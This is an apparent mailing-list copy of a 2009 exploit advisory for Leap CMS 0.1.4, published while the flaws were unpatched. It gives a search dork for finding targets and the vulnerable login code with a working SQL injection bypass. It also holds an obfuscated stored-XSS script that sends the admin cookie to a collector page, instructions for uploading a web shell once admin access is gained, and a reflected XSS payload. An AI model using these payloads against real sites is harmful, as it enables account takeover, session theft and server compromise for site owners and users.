[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

MULTIPLE REMOTE VULNERABILITIES--Leap CMS 0.1.4-->



--------------------------------------------------------
MULTIPLE REMOTE VULNERABILITIES--Leap CMS 0.1.4-->
--------------------------------------------------------

  CMS INFORMATION:

-->WEB: http://leap.gowondesigns.com/
-->DEMO: http://php.opensourcecms.com/scripts/details.php?scriptid=161&name=Leap
-->CATEGORY: CMS / Lite
-->DESCRIPTION: Leap is a single file, template independent, open-source,
		standards-compliant,extensible content management system for the web...
-->RELEASED: 2009-03-13

  CMS VULNERABILITY:

-->TESTED ON: firefox 3 and I-Explorer 6
-->DORK: "Powered by Leap"
-->CATEGORY: AUTH-BYPASS(SQLi)/COOKIE-STEALER (XSS)/SHELL-UPLOAD/ XSS
-->AFFECT VERSION: 0.1.4 (maybe <= ?)
-->Discovered Bug date: 2009-04-24
-->Reported Bug date: 2009-04-24
-->Fixed bug date: Not fixed	
-->Info patch: Not fixed
-->Author: YEnH4ckEr
-->mail: y3nh4ck3r[at]gmail[dot]com
-->WEB/BLOG: N/A
-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.
-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)


##############################
//////////////////////////////

AUTHENTICATION BYPASS (SQLi):

/////////////////////////////
##############################


<<<<---------++++++++++++++ Condition: magic_quotes_gpc=off +++++++++++++++++--------->>>>


-----------
FILE VULN:
-----------


Path --> [HOME_PATH]/leap.php


function checkSession() {

	if($_POST['login']=='Login') { 
	
		$_SESSION['userMail']=$_POST['email']; $_SESSION['passWord']=md5($_POST['pwd']); 
			
		....
	}
	
	$i=@mysql_query("SELECT * FROM ".db('prefix')."users WHERE mail='$_SESSION[userMail]' AND pwd='$_SESSION[passWord]'"); $d=@mysql_fetch_array($i);

		....

---------
EXPLOIT:
---------


Email Address: nothing' or 1=1#

Password: nothing


#############################
/////////////////////////////

COOKIES STEALING VULN (XSS):

/////////////////////////////
#############################


<<<<---------++++++++++++++ Condition: Add comment +++++++++++++++++--------->>>>


---------
EXPLOIT:
---------


Go to Link --> http://[HOST]/[HOME_PATH]/?article.[ARTICLE_TITLE]

There it can comment the article.


Add a comment with any name/email and message:


<script>document.location=String.fromCharCode(104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,47,101,120,112,108,111,105,116,45,99,111,111,107,105,101,115,47,119,97,105,116,105,110,103,45,102,111,114,46,112,104,112,63,99,107,61)+document.cookie</script>


PHP Script (Cookies Stealer) --> See: http://www.milw0rm.com/exploits/8453
				      http://www.milw0rm.com/exploits/8471

Note: Exploit fails if real admin click on log-out button.


############################
////////////////////////////

SHELL UPLOAD VULNERABILITY:

////////////////////////////
############################


<<<<---------++++++++++++++ Condition: Be superadmin (above) +++++++++++++++++--------->>>>


---------
EXPLOIT:
---------


Option: Manage Files. Link --> http://[HOST]/[HOME_PATH]/?admin.system.files

upload your shell there.

Then, Go to the link --> http://[HOST]/[HOME_PATH]/shell.php


########################
////////////////////////

XSS (SEARCH POST FORM):

////////////////////////
########################


Search:

"><script>alert(1)</script>


#######################################################################
#######################################################################
##*******************************************************************##
##            ESPECIAL GREETZ TO: Str0ke, JosS, Ulises2K ...         ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
##              GREETZ TO: SPANISH H4ck3Rs community!                ##
##*******************************************************************##
#######################################################################
#######################################################################